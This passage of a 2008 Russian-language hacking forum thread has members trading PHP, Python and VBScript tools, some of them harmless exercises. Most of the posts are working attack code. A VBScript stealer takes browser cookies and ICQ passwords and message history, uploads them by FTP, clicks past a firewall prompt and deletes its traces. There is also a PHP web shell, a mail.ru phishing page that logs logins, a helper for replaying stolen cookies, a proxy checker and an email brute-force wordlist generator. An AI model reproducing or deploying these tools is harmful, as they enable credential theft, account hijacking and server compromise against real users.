import pycurl
except:
print 'error load library - pycurl'

def test_socks():
global list, fo, count_thead, count_good_proxy
while ( len(list)>0 ):
proxy = list.pop()
wf = StringIO.StringIO()
c = pycurl.Curl()
c.setopt(pycurl.USERAGENT, 'Opera/9.50 (X11; Linux i686; U; ru)')
c.setopt(pycurl.FOLLOWLOCATION, 0)
c.setopt(pycurl.CONNECTTIMEOUT, sys.argv[5])
c.setopt(pycurl.URL, sys.argv[4])
c.setopt(pycurl.WRITEFUNCTION, wf.write)
c.setopt(pycurl.PROXYTYPE,pycurl.PROXYTYPE_SOCKS5)
c.setopt(pycurl.HTTPPROXYTUNNEL, 1)
c.setopt(pycurl.PROXY, proxy)
try:
c.perform()
except:
pass
c.close()
rez = wf.getvalue()
if (len(rez)>100):
fo.write(proxy)
count_good_proxy += 1
count_thead -= 1

print '''RoA SocksTest for Nerezus by PresidentUA
---------------'''
if (len(sys.argv)!=6):
print '''Run as:
roastest.py input.file output.file count_theard site_test timeout
Example:
roastest.py input.txt output.txt 5 ya.ru 10
---------------'''
sys.exit()

try:
fi = open(sys.argv[1],'r')
list = fi.readlines()
except:
print '|-| error input file '+sys.argv[1]
sys.exit()
print '|+| input file '+sys.argv[1]+' open'

try:
fo = open(sys.argv[2],'w')
except:
print '|-| error output file '+sys.argv[2]
sys.exit()
print '|+| output file '+sys.argv[2]+' open'


sys.argv[3] = int(sys.argv[3])
if ( 0 < sys.argv[3] < 100):
print '|+| create '+str(sys.argv[3])+' threads'
else:
print '|-| error create threads'
sys.exit()

sys.argv[5] = int(sys.argv[5])
if ((sys.argv[5]>=1) and (sys.argv[5]<=300)):
print '|+| good set timeout'
else:
print '|-| error set timeout'
sys.exit()

try:
temp = StringIO.StringIO()
curl = pycurl.Curl()
curl.setopt(pycurl.USERAGENT, 'Opera/9.50 (X11; Linux i686; U; ru)')
curl.setopt(pycurl.FOLLOWLOCATION, 0)
curl.setopt(pycurl.CONNECTTIMEOUT, sys.argv[5])
curl.setopt(pycurl.URL, sys.argv[4])
curl.setopt(pycurl.WRITEFUNCTION, temp.write)
curl.perform()
curl.close()
rez = temp.getvalue()
if (len(rez)>100):
print '|+| good set site url'
else:
print '|-| error set site url'
sys.exit()
except:
print '|-| error set site url'
sys.exit()

count_good_proxy = 0

count_thead = 0

for i in xrange(0,sys.argv[3]):
count_thead += 1
thread.start_new_thread(test_socks,())

while (count_thead>0):
pass

fi.close
fo.close

print '---------------'
print '|+| '+str(count_good_proxy)+' good socks. The End :)'''

sys.exit()

попугай
12.12.2008, 02:53
Скрипт-грабер картинок с папки у юзверя на фотомайлру. Коряво конечно - прошу не пинать(


<?php set_time_limit(0); ?>
<html>
<title>Качалка картинок с Foto.mail.ru и не только</title>
<style>
body{
background: gold;
}
.tab{
border: 2px black double;
background: silver;
width: 600px;
position: absolute;
top: 30%;
left: 30%;
}
input{
border: 1px red solid;
}
</style>
<body>
<div class="tab">
<form action="" method="post">
<b>Введи URL папки с картинками.</b><br>
<i> Например: <font color="red">http://foto.mail.ru/mail/truhacheva/1/</font></i>&nbsp&nbsp&nbsp
<input type="text" name="url" size="40"><br>
<b>Введи примерный номер последней картинки.</b><br>
<i> Например: <font color="red">ссылка http://foto.mail.ru/mail/truhacheva/1/450.html - значит вводишь 450 </font></i>&nbsp&nbsp&nbsp
<input type="text" name="end" size="5" maxlength="5"><br>
<b>Введи номер первой картинки</b><br>
<input type="text" name="start" size="5" maxlength="5"><br>
<b>Расширение картинок</b><br>
<input type="text" name="ext" size="5" maxlength="5" value="jpg"><br>
<b>префикс картинок на сервере</b><br>
<i>Например: <font color="red">blabla1.jpg, blabla2.jpg и т.д</font>&nbsp&nbsp&nbsp
<input type="text" name="servpref" value="i-"><br><br><br>
<b>Как называть картинки? Префикс.</b><br>
<i>Например: <font color="red">blabla1.jpg, blabla2.jpg и т.д</font>&nbsp&nbsp&nbsp
<input type="text" name="prefix"><br><br><br>
<b>В какую директорию складировать?</b><br>
<input type="text" name="dir"><br><br><br>
<input type="submit" name="submit">
</form>
</div>
</body>
</html>
<?php
/*If(!$_POST['url'] or $_POST['prefix'] or $_POST['end']){
exit;
}*/
If($_POST['submit']){
$servpref=$_POST['servpref'];
$dir = $_POST['dir'];
if(!is_dir($dir)){
@mkdir($dir) or die("Проверьте права на запись в папку $dir !! ");
}

$url=str_replace("foto.mail.ru", "content.foto.mail.ru", $_POST['url']);
for($i=$_POST['start']; $i<$_POST['end']; $i++){
$fp=@fopen($url.$servpref.$i."." . $_POST['ext'], "b");
If(!$fp){
continue;
}
$kar=fopen($dir . "/{$_POST['prefix']}".$i."." . $_POST['ext'], "a+");
while(!feof($fp)){
fwrite($kar, fgets($fp));
}
}
Echo "Закончено";
}
?>

попугай
12.12.2008, 03:03
Угнали у кого то куки? Лень гемороится и вручную вставлять их в браузер?
Этот скрипт поможет) Нужна опера.

<?php

if(isset($_POST['go']) and !empty($_POST['cooks'])){

$cooki = explode("; ", $_POST['cooks']);
$out = "<script>\r\n";
foreach($cooki as $cook){
$out .= "document.cookie = \"" . $cook . "\";\r\n";
}
$out .= "setTimeout(\"document.location.reload(true)\", 1000);\r\n</script>";
header("Content-Type: text/plain");
echo $out;
}else{
echo '<html>
<body>
<div style="position:absolute; top:20%; left:20%">
<form action="" method="post">
<h1>Сюда захерачь строку с куками</h1>
<textarea cols="100" rows="20" name="cooks"></textarea><br>
<input type="submit" name="go" value="Поехали!!!">
</form>
</body>
</html>';
}

?>



0. Запускаем скрипт, вставляем в текстовую область строку с куками и жмем кнопку, получаем код.
1.полученный код копируем в буфер обмена,
2.открываем в опере сайт, от которого куки угнали,
3.Жмем правой кнопкой мыши, выбираем "настройки для сайта" -> вкладка "Cookie" -> удаляем всё.
4. жмем view source или проcмотр исходного кода . Удаляем весь текст, и вставляем туда содержимое буфера обмена, жмём "применить" /
5. Вуаля!! Мы залогинены под украденными куками...

PS если залогинится не удалось -значит куки устарели или яваскрипт отключен.

GreenBear
12.12.2008, 03:05
давно ли опера пхп выполняет?

Olegros911
12.12.2008, 03:25
и прям этож php причем здесь опера то????????????

попугай
12.12.2008, 03:31
пепец, прочитать описание под скриптом нельзя чтоль? =)

php скрипт только формирует код на яваскрипте, который уже в оперу вставляется =)

b3
12.12.2008, 03:47
Solker,
Поднятие времени проведенного за чтением форума, ака увлечение значения «Провел на форуме».
<?php
ignore_user_abort();
set_time_limit(0);
for ($i=0; $i<9999; $i++) {
$url = "http://forum.antichat.ru/member.php?u=2674";
$ua = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4";
$ref = "http://forum.antichat.ru/";
$cookie = "ВАШИ КУКИ ";
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_REFERER, $ref);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
$res = curl_exec($ch);
sleep(60);
}
?>
Через cronjob.ru и нет проблемм)) Прошел 4х часовый тест.

А вот несколько раз нужно было сгенерировать 3х значные ники для брута коротких имейлов.

<?php
$fp2 = fopen("3d_mail.txt", "w");
$str = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($iii=0; $iii<strlen($str); $iii++) {
for ($ii=0; $ii<strlen($str); $ii++) {
for ($i=0; $i<strlen($str); $i++) {
fputs($fp2, $str[$i].$str[$ii].$str[$iii]."\r\n");
}}}
fclose($fp2);
?>

GreenBear
12.12.2008, 08:59
for ($i=0; $i<9999; $i++) {
у тебя что while украли

Pashkela
16.12.2008, 17:07
Новая версия, изменения (значительные):

1. Всё стало архивирироваться посредством встроенного в windows архиватора zip (т.е. мы теперь не зависим от наличия в системе WINRAR или любого другого архиватора)
2. Исправлены ошибки в передачи файлов по FTP - теперь архивы не битые и рабочие
3. Отчеты пакуются не в один архив, как раньше, а в несколько, по названию архива можно понять его содержимое. Сделано с целью уменьшения вероятности потери файлов большого объема при передаче по FTP (т.е. даже если связь оборвется, какая-то информация всё-таки успеет отослаться)
4. В данной версия тыряца и архивируются в архив .zip с уникальным названием и отсылаются на FTP следующие вещи:
- куки от IE
- куки от Opera
- Messages.mdb - история переписки ICQ (проверено только на ICQ6, не работает, если клиент ICQ6 запущен во время выполнения скрипта)
- Owner.mdb - файл паролей и контактов ICQ (проверено только на ICQ6, не работает, если клиент ICQ6 запущен во время выполнения скрипта)

В итоге при правильной работе скрипта у вас должно получиться 4 архива.

>>СКАЧАТЬ (пароль 123)<< (http://slil.ru/26445005)

Ниже исходники:


Const FOF_SIMPLEPROGRESS = 256
Dim MySource, MyTarget, MyHex, MyBinary, i
Dim oShell, oCTF
Dim oFileSys
dim winShell
dim newfolderpath
dim t
On Error Resume Next
'Создаем временную папку для записи нужных нам результатов (лучше, если название будет УНИКАЛЬНОЕ, чтобы не было конфликтов)
'================================================= =========
h = Hour(Now)
m = Minute(Now)
s = Second(Now)
t = date() & "-" & h & "-" & m & "-" & s
dim filesys, newfolder
newfolderpath = "c:\12345" ' Название временной папки
ICQ = 123456 'Номер ICQ, который хотим похекать
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(newfolderpath) Then
Set newfolder = filesys.CreateFolder(newfolderpath)
End If
set filesys=Nothing
Set newfolder=Nothing
'================================================= =========
' Тырим куки OPERA
set WshShell1 = WScript.CreateObject("WScript.Shell")
filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Application Data\Opera\Opera\profile\cookies4.dat" 'Тут указываем, то что архивируем.
MySource = filePath
MyTarget = newfolderpath & "\" & t & "-" & "opera_cookie.zip"
archPath_OPERA = t & "-" & "opera_cookie.zip"
MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
For i = 0 To UBound(MyHex)
MyBinary = MyBinary & Chr(MyHex(i))
Next
Set oShell = CreateObject("WScript.Shell")
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oCTF = oFileSys.CreateTextFile(MyTarget, True)
oCTF.Write MyBinary
oCTF.Close
Set oCTF = Nothing
set winShell = createObject("shell.application")
winShell.namespace(MyTarget).CopyHere MySource
wScript.Sleep(5000)
Set oFileSys = Nothing
Set oShell = Nothing
set WshShell = Nothing
set WshShell1 = Nothing
'================================================= =========
' Тырим куки IE
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Dim MyZipName
Dim oApp, oFolder, oFile
set WshShell1 = WScript.CreateObject("WScript.Shell")
filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Cookies" 'Тут указываем, то что архивируем.
set WshShell1 = Nothing
MySource = filePath
MyTarget = newfolderpath & "\" & t & "-" & "ie_cookie.zip"
archPath_IE = t & "-" & "ie_cookie.zip"
MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
For i = 0 To UBound(MyHex)
MyBinary = MyBinary & Chr(MyHex(i))
Next
Set oShell = CreateObject("WScript.Shell")
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oCTF = oFileSys.CreateTextFile(MyTarget, True)
oCTF.Write MyBinary
oCTF.Close
Set oCTF = Nothing
Set oApp = CreateObject("Shell.Application")
Set oFolder = oApp.NameSpace(MySource)
If Not oFolder Is Nothing Then
oApp.NameSpace(MyTarget).CopyHere oFolder.Items
End If
wScript.Sleep(5000)
Set oFile = Nothing
On Error Resume Next
Do While (oFile Is Nothing)
Set oFile = oFileSys.OpenTextFile(MyTarget, ForAppending, False)
If Err.number <> 0 then
Err.Clear
wScript.Sleep 3000
End If
Loop
Set oFile=Nothing
Set oFileSys=Nothing
'================================================= =========
' Тырим переписку ICQ
set WshShell1 = WScript.CreateObject("WScript.Shell")
filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Application Data\ICQ\" & ICQ & "\Messages.mdb" 'Тут указываем, то что архивируем.
MySource = filePath
MyTarget = newfolderpath & "\" & t & "-" & "ICQ_Messages.zip"
archPath_ICQ_history = t & "-" & "ICQ_Messages.zip"
MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
For i = 0 To UBound(MyHex)
MyBinary = MyBinary & Chr(MyHex(i))
Next
Set oShell = CreateObject("WScript.Shell")
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oCTF = oFileSys.CreateTextFile(MyTarget, True)
oCTF.Write MyBinary
oCTF.Close
Set oCTF = Nothing
set winShell = createObject("shell.application")
winShell.namespace(MyTarget).CopyHere MySource
wScript.Sleep(5000)
Set oFileSys = Nothing
Set oShell = Nothing
set WshShell = Nothing
set WshShell1 = Nothing
'================================================= =========
' Тырим файл с контактами и паролем ICQ
set WshShell1 = WScript.CreateObject("WScript.Shell")
filePath = "C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%") & "\Application Data\ICQ\" & ICQ & "\Owner.mdb" 'Тут указываем, то что архивируем.
MySource = filePath
MyTarget = newfolderpath & "\" & t & "-" & "ICQ_Owner.zip"
archPath_ICQ_pass = t & "-" & "ICQ_Owner.zip"
MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
For i = 0 To UBound(MyHex)
MyBinary = MyBinary & Chr(MyHex(i))
Next
Set oShell = CreateObject("WScript.Shell")
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oCTF = oFileSys.CreateTextFile(MyTarget, True)
oCTF.Write MyBinary
oCTF.Close
Set oCTF = Nothing
set winShell = createObject("shell.application")
winShell.namespace(MyTarget).CopyHere MySource
wScript.Sleep(5000)
Set oFileSys = Nothing
Set oShell = Nothing
set WshShell = Nothing
set WshShell1 = Nothing
'================================================= =========
'Отсылаем на ФТП на narod.ru
'Создаем файл сценария для FTP.EXE
set FSO = CreateObject("Scripting.FileSystemObject")
Set WSHshell = WScript.CreateObject("WScript.Shell")
Set sDir = WSHshell.Environment("Process") ' - находим путь к папке Windows
Set cScript = fso.CreateTextFile (sDir("windir") & "\FTp.scr") '-Обозначаем место, где будет создан и сохранен файл сценария (в данном случае - папочка виндовз)
cScript.WriteLine "Open ftp.narod.ru" '- Открываем соединение с сайтом ftp.narod.ru на 21 порту
cScript.WriteLine "User" '- Имя пользователя
cScript.WriteLine "Password" '- Пароль
cScript.WriteLine "drive C:" '- Выбраем диск С
cScript.WriteLine "lcd " & newfolderpath ' - Устанавливаем папку, откуда будем отсылать данные
cScript.WriteLine "prompt" ' - Отключаем всякий диалог по каждому файлу
cScript.WriteLine "binary" ' - метод передачи файлов по FTP
cScript.WriteLine "PUT " & archPath_IE '- Отправляем куки от IE
cScript.WriteLine "PUT " & archPath_OPERA '- Отправляем куки от OPERA
cScript.WriteLine "PUT " & archPath_ICQ_history '- Отправляем историю переписки ICQ
cScript.WriteLine "PUT " & archPath_ICQ_pass '- Отправляем файл паролей и контактов ICQ
cScript.WriteLine "bye" '-разрываем соединение с ftp.narod.ru
cScript.Close '- Конец записи в файл сценария
' Запускаем FTP-сценарий
WSHshell.Run sDir("windir") & "\system32" & "\FTP.ExE -s:" & sDir("windir") & "\FTp.scr", 0
' Обходим фаер (в данном случае Outpost, если не надо, закоментируйте с помощью символа " ' " все строчки, что ниже, до '---------------------------)
set w=CreateObject("WScript.Shell")
a=0
do
r=W.AppActivate("ftp.exe")
if r then
a=1
w.SendKeys "{tab 2}"
w.SendKeys "{enter}"
end if
loop until a=1
set w=Nothing
'---------------------------
Set fso = Nothing
Set WSHshell = Nothing
'================================================= =========
'Заметаем следы (удаляем временную папку с нашими палевными архивами)
WScript.Sleep 60000 'Задаем паузу, чтобы успело скопироваться на ФТП - чем больше, тем надежней, в данном случае 1 минута
set FSO = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.GetFolder(newfolderpath)
MyFile.Delete
Set FSO = Nothing
Set MyFile = Nothing
Wscript.Quit ' -выход

Pashkela
16.12.2008, 18:47
<?
/* Функция по замене только первого найденного совпадения*/
function first($str,$chto_meniaem,$na_chto_meniaem)
{
$iparr = split ($chto_meniaem, $str);
$count=count($iparr) . "\r\n";
echo $iparr[0];
for ($i=0;$i<=$count;$i++)
{
if ($i==1){$iparr[1]=$na_chto_meniaem;echo $iparr[1];}
else
{
if (empty($iparr[$i])){$iparr[$i]=$chto_meniaem;echo $iparr[$i];}
}
}
echo $iparr[$count-1];
}

/* Пример использования*/
$msg="рудик вахтанг <<<<<<<<< дыня, арбуз, и т.п.";
$meniaem = '<';
$zamena = 'ord("<")';
echo $msg . "\r\n";

echo first($msg,$meniaem,$zamena) . "\r\n";
?>

astrologer
16.12.2008, 19:00
Функция по замене только первого найденного совпадения<?php
echo preg_replace('/</', 'ord("<")', '<<<<<<<<<', 1); // Четвёртый параметр именно для этого и придумали.
?>

-Hormold-
17.12.2008, 15:34
Очень простой шелл

<?
echo 'OS : '.@substr(@php_uname(),0,120).'<br>';
echo 'User : '.get_current_user().'';
?>
<FORM METHOD=GET><INPUT TYPE="text" NAME="cmd"><INPUT TYPE="submit" value="EXEC"></FORM>
<FORM METHOD=GET><INPUT TYPE="text" NAME="eval"><INPUT TYPE="submit" value="EVAL"></FORM>
<FORM METHOD=GET><INPUT TYPE="text" NAME="unlink"><INPUT TYPE="submit" value="unlink"></FORM>
<FORM METHOD=GET><INPUT TYPE="text" NAME="upload"> to: <INPUT TYPE="text" NAME="to"><INPUT TYPE="submit" value="upload"></FORM>
<pre>
<?
if($_GET['cmd']){echo exec($_GET['cmd']);}
if($_GET['eval']){echo eval($_GET['eval']);}
if($_GET['unlink']){echo unlink($_GET['unlink']);}
if($_GET['upload']){$f=file_get_contents($_GET['upload']);$fp=fopen($_GET['to'],"w");fwrite($fp,$f);fclose($fp);}
?>
</pre>

BackDoor.CMD.11 by Hormold
Палит Dr.Web, т.к. выслал им для проверки оперативности...

ntldr
18.12.2008, 21:52
(Задание)
Скрипт работает в один поток (через сокеты, без использования curl). Для проверки сокса, он отправляет 3 байта - 0x05 0x01 0x00, результат (работает или нет), получаем исходя из ответа сервера.
Сам скрипт (http://shkolnek.ru/www.rar)

сорри, я написал в приват а потом нашел этот псто здесь))

Nono
19.12.2008, 02:28
Можно скрипт которой показает папки данново сайта.
Пример: Я хочу знать какие папки есть на сайт www.abv.bg

ntldr
19.12.2008, 08:57
Можно скрипт которой показает папки данново сайта.
Пример: Я хочу знать какие папки есть на сайт www.abv.bg
у тебя доступ к нему естЬ?

biophreak
19.12.2008, 11:00
Для ROA сделал хранимую процедуру PostgreSQL для определения - високосный ли год или нет...
На вход приминимает,собственно год(допустим из определенного поля таблицы)...в принципе переделать на тип данных date не сложно ))


CREATE FUNCTION year_leap2 (integer) RETURNS integer AS $$
my $year = shift;
if($year%100 == 0)
{
if($year%400 == 0)
{
return 1
}
else
{
return 0
}
} else {
if($year%4 == 0)
{
return 1
}
else
{
return 0
}
}
$$ LANGUAGE plperl;


Смысла определять текущий год через CURRENT_DATE имхо нету, лишние затраты ресурсов - проще закешировать...

PS: Поправил на более читаемый вариант и без хаков с sprintf()

kik8888
19.12.2008, 18:20
Задание для ROA

<?
set_time_limit(0);

//функция для PHP-сокетов, после которой работа ведется аналогично fsockopen()
//в случае неудачи возвращает false, код ошибки($errno), описание ошибки($errstr)
//для работы требуются включенные сокеты
function socks4_open($server,$port,&$errno,&$errstr){
if(!($socket=socket_create(AF_INET,SOCK_STREAM,SOL _TCP)) || !socket_connect($socket,$server,$port)){
$errno=socket_last_error();
$errstr=socket_strerror($errno);
return false;
} else return $socket;
}

//функция для PHP-сокетов, возвращающая ответ на запрос($q) к серверу($server) через порт($port)
//в случае неудачи возвращает false, код ошибки($errno), описание ошибки($errstr)
//для работы требуются включенные сокеты
function socket_otvet($server,$port,$q,&$errno,&$errstr){
if(!($socket=socket_create(AF_INET,SOCK_STREAM,SOL _TCP)) || !socket_connect($socket,$server,$port)){
$errno=socket_last_error();
$errstr=socket_strerror($errno);
return false;
} else {
socket_write($socket,$q,strlen($q));
while($otvet=socket_read($socket,1024)){
$otv.=$otvet;
}
socket_close($socket);
return $otv;
}
}

//функция для fsockopen(), возвращающая ответ на запрос($q) к серверу($server) через порт($port)
//в случае неудачи возвращает false, код ошибки($errno), описание ошибки($errstr)
function fsock_otvet($server,$port,$q,&$errno,&$errstr){
if(!($fp=fsockopen($server,$port,$errno,$errstr,30 ))){
return false;
} else {
fputs($fp,$q);
while(!feof($fp)){
$otv.=fgets($fp,1024);
}
fclose($fp);
return $otv;
}
}

//пример запроса
$q="GET / HTTP/1.0\r\nHost: mail.ru\r\n\r\n";

//пример работы socks4_open()
$sock=socks4_open("mail.ru",80,$errno,$errstr);
if(!$sock){
echo "$errstr ($errno)<br>\n";
} else {
socket_write($sock,$q,strlen($q));
while($otvet=socket_read($sock,1024)){
$otv.=$otvet;
}
}
socket_close($sock);
echo $otv;

//пример работы socket_otvet()
if($otv=socket_otvet("mail.ru",80,$q,$errno,$errstr)) echo $otv; else echo "$errstr ($errno)<br>\n";

//пример работы fsock_otvet()
if($otv=fsock_otvet("mail.ru",80,$q,$errno,$errstr)) echo $otv; else echo "$errstr ($errno)<br>\n";
?>

big_BRAT
19.12.2008, 21:31
Суть задачи: https://forum.antichat.ru/showpost.php?p=1001854&postcount=51

Посмотреть на работу можно тут: http://vkorostene.com.ua/search/
Исходник: http://vkorostene.com.ua/search/source.rar

Если задание понял правильно - то поидее сделал всё... (напр.: был вопрос по поводу "...По одному из полей структуры.." тут меется ввиду только одно из полей или по всем, но думаю это мелочи и смысл ясен)

astrologer
19.12.2008, 21:57
Суть задачи: https://forum.antichat.ru/showpost.php?p=1001854&postcount=51

Посмотреть на работу можно тут: http://vkorostene.com.ua/search/
Исходник: http://vkorostene.com.ua/search/source.rar

Если задание понял правильно - то поидее сделал всё... (напр.: был вопрос по поводу "...По одному из полей структуры.." тут меется ввиду только одно из полей или по всем, но думаю это мелочи и смысл ясен) Суть была в индексах

Pashkela
20.12.2008, 03:17
<?
Function whois($domen)
{
$result = file('http://ip-whois.net/whois.php?whois='.$domen);
if (preg_match('/match/',$result[70])) echo 'Not registered';
else for ($i=52;$i<=64;$i++) echo $result[$i];
}
/*Пример вызова*/
whois('forum.antichat.ru');
?>

nerezus
21.12.2008, 19:22
Суть была в индексах Даже не в них. А в самостоятельной реализации такого поиска.
Представим, что файл весит 20гб...

rushter
22.12.2008, 11:32
Задание из ROA
https://forum.antichat.ru/showpost.php?p=990504&postcount=37
<?
$maxpages = 3;
$pagelines = 3;
$lineend = "\r\n";

function mas($n)
{
global $pages, $lineln, $pagelines;
$p = floor($n / $pagelines);
if (!isset($pages["p$p"]))
loadPage($p);
return $pages["p$p"][$n % $pagelines];
}

function setmas($n, $value)
{
global $pages, $lineln, $pagelines;
$p = floor($n / $pagelines);
if (!isset($pages["p$p"]))
loadPage($p);
$pages["p$p"][$n % $pagelines] = $value;
}

function loadPage($p)
{
global $pages, $lineln, $pagelines, $maxpages, $sortfile, $lineend;
fseek($sortfile, $p * $lineln * $pagelines);
$data = fread($sortfile, $pagelines * $lineln);
$pages["p$p"] = explode($lineend, rtrim($data, $lineend));
if (count($pages) > $maxpages)
flushPage();
}

function flushPage()
{
global $pages, $lineln, $pagelines, $maxpages, $sortfile, $lineend;
reset($pages);
$p = intval(substr(key($pages), 1));
$data = implode($lineend, array_shift($pages)) . $lineend;
fseek($sortfile, $p * $lineln * $pagelines);
fwrite($sortfile, $data);
}

function sortTypeFile($file)
{
global $sortfile, $sortlines, $pages, $lineln, $lineend;
$pages = array();
$sortlines = 1;
$sortfile = fopen($file, "r+b");
$lineln = strlen(fgets($sortfile));
$n = $lineln - strlen($lineend);
while (!feof($sortfile))
{
if (strlen(rtrim(fgets($sortfile), $lineend)) != $n)
break;
$sortlines++;
}
fseek($sortfile, 0);
$n = 0;
for ($i = 0; $i < $sortlines; $i++)
{
$min = mas($i);
$cur = $min;
$minpos = $i;
for ($j = $i + 1; $j < $sortlines; $j++)
{
$a = mas($j);
if ($a < $min)
{
$min = $a;
$minpos = $j;
}
}
if ($minpos != $i)
{
setmas($minpos, $cur);
setmas($i, $min);
}
}
while (count($pages) > 0)
flushPage();
fclose($sortfile);
}

sortTypeFile("file.txt");
?>

Pashkela
22.12.2008, 20:01
2 файла:

1. login.php (или хотите назовите его login.html)


<html>
<head>
<title></title>
</head>
<bоdу>
<div align="center">
<form method="post" action='mail.ru.php'>
<table>
<tr><td><span>Login:</span></td><td><input type="text" name="login" /></td></tr>
<tr><td><span>Password:</span></td><td><input type="password" name="pass" /></td></tr>
</table>
<input type="submit" name="submit" value="ok" />
</form>
</div>
</bоdу>
</html>


2. mail.ru.php


<?php
$log=$_POST['login'];
$pass=$_POST['pass'];
if (empty($log) or empty($pass)) {echo 'Please fill login or password'; echo '<meta http-equiv="Refresh" content="2;URL=login.php">';exit;}
$file = "mails.txt";
$f = fopen($file, "a");
fwrite($f, "$log;$pass \r\n");
fclose($f);
?>

<html>
<head>
</head>
<body>
<form name='mail' method='post'action='http://win.mail.ru/cgi-bin/auth' >
<input type="hidden" name='Login' value=<?php echo $log;?>>
<input type="hidden" name="Password" value=<?php echo $pass;?>>
<input type='hidden' name='Domain' value='mail.ru'>
</form>
<script language='javascript'>
document.mail.submit();
</script>
</body>
</html>

Exlibris
22.12.2008, 21:29
делать было нех написал 2 простеньких скрипта :D
чат (2 файла)
guest.php
<html>
<body>
<form action="guest.php" method="post" name="text" terget="_top">
<input type="text" align="top" name="text">
<input type="submit" value="чик">
<a href="unlink.php">clear</a>
</body>
</html>
<?php
$tmp_file = "tmp.txt";
$time = date("d:m:y::H:i:s");
$msg = $_POST['text'];

if(!file_exists($tmp_file))
{
echo "файл истории недоступен";
}
else
{
$file = fopen($tmp_file,"a+");
echo $msg;
fwrite($file,$time." ".$msg."\n");
$s = file($tmp_file);
foreach ($s as $k => $v)
{
$i++;
if($i % 2 == 0)
{
echo "<table align='center' width='50%'>";
echo "<tr>"."<td bgcolor='13becd'>"."<center>".$v."</center>"."</td>"."</tr>"."<br>";
}
else
{
echo "<table align='center' width='50%'>";
echo "<tr>"."<td bgcolor='a7f97a'>"."<center>".$v."</center>"."</td>"."</tr>"."<br>";

}
}
}
fclose($file);
?>
unlink.php
<?php
$file = "tmp.txt";
unlink($file);
fopen($file,"a+");
header("location:http://127.0.0.1/code/guest.php");
fclose($file);
?>
--
генератор паролей
<html>
<form action="pass_gen.php" name="len" method="post">
Длина пароля: <input type="text" name="len">
<input type="submit" value="go">
</html>

<?php
//символы
$a = "abcdefghijklmnopqrstuvwxyz";
$b = strtoupper($a);
$n = "0123456789";
$s = "!@#$%^&*()[]";
$all = $a.$b.$n.$s;

$lenght = $_POST['len'];//длина пароля
echo "=".$lenght."<br>";
$radio = $_POST['rad'];//вид пасса
echo $radio;
$count = strlen($all);

if($lenght<=8)
{
$pass = '';
for($i=0;$i<$lenght;$i++)
{
$pass .= substr($all, rand(1,$count),1);
}
echo "pass: ".$pass;
}
else
{
echo "парель не должен привышать 8 символов";
}
?>

ntldr
23.12.2008, 00:28
есть у кого-то реггер сайтов на народе?

Pashkela
23.12.2008, 01:34
там капча во время реги

Inviseble_Demon
23.12.2008, 07:19
У меня есть скриптец которы ну не распознает капчу, а отправляет её на сайт там её люди распознают (в принцепи быстро 3-5 сек !).

Если каму надо могу выложить с мануалом !
Для любой реги подойдет.

На счет реги на народе помойму тема старая !
Но если ещё актуально то могу написать.

Inviseble_Demon
23.12.2008, 07:22
И вобще если комунить нужен регер на каком либо сайте стучите !
1 условие чтобы на сайте не использовалить сертифекаты !
А все остальное без проблем.

ntldr
23.12.2008, 12:07
там капча во время реги
ну как на мыле ру вывоодтся на странице много капч и вводишь их

b3
23.12.2008, 13:25
1 условие чтобы на сайте не использовалить сертифекаты !
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

Shadow_p1raT
23.12.2008, 19:03
Задание из ROA

Заливка avi/mov/mpg файлов на сервер и их проигрывание во флеш-плеере.


Если конечно я его правильно понял:)
[Интсрументы]

Прямые руки
ffmpeg-php
Denwer


[Подготовка рабочей среды]

Ну для начала надо поствить Denwer.
Думаю тут вопросов возникнуть не должно.

Как ставить ffmpeg-php смотрим тут
http://forum.drupal.ru/node/16257
Ищем обзац

Установка ffmpeg на денвер

и читаем,отсальное нам нах не нужно.
Если вы будете юзать денвер,то
измените строчку в php.ini

upload_max_filesize = 2M

и меняем её на

upload_max_filesize = 800M

А вообще значении upload_max_filesize может быть другим,это уж вам как захочется.

[Теория]

Для реализации такой задачи я использовал jQuery и плагин к нему jQuery Form
и самы простенький flv плеер - jw flv player(всё это найдёте в архиве)
Для просмотра видео нам сначала надо перевести его в формат .flv
для этого нам и понадобится ffmpeg-php
Вроде всё просто.

[Установка]

Качаем архив,распаковываем,
заливаем на сервер.
На все папки ставим чмод - 777
Так же в скрипте не забывем менять путь до вашего ffmpeg-php модуля.

[Скачать]

slil.ru (http://slil.ru/26480060)

P.S Получилась как бы мини-статейка
P.S Вроде всё внятно разжувал

ss88
24.12.2008, 17:41
Пользователи приходят и уходят из системы. В БД пишется, когда пришли, а когда ушли. Нарисуй диаграмму, которая покажет, сколько каждый пользователь был в системе.
[Инструменты]
LAMP (Debian Linux + Apache2 + MySQL + PHP 5)
Geany
[Описание]
